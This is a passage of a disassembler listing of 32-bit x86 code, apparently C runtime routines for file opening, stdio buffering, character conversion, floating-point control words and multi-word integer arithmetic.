jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax nop call near ptr 2620905h test eax, eax jnz short loc_42391D call near ptr 2690DCCh nop jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB27C, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB278, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DC5A0 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DC5A0, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DC5A0, esi call sub_424E01 pop ecx mov dword_4DB598, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop ecx loc_423989: ; CODE XREF: sub_423936+30j ; sub_423936+49j xor ecx, ecx mov eax, offset off_43C9E8 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DB598 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43CC68 jl short loc_423990 xor edx, edx mov ecx, offset dword_43C9F8 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DC5C0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43CA58 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB2B8, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DB460 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DB570, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB278, 16h mov dword_4DB27C, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB280 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB27C, 0 mov dword_4DB278, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 271092Ch mov esi, eax cmp esi, edi jz short loc_423BFD push esi call near ptr 263023Eh nop test eax, eax jnz short loc_423C11 push esi call near ptr 2670858h nop loc_423BFD: ; CODE XREF: sub_423A33+1B6j nop call near ptr 2690DCCh push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB27C, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB468 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 2610000h test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push ebx call near ptr 2620000h nop test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DB468, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB334 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call near ptr 2620000h nop jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2850000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call near ptr 2850000h nop cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 2610000h nop jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB334, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43C504 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB344 nop call near ptr 2840000h test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB334, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C2F8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43C504 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB344 nop call near ptr 2850000h test eax, eax mov eax, dword_43C504 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB344 call near ptr 2850000h nop test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 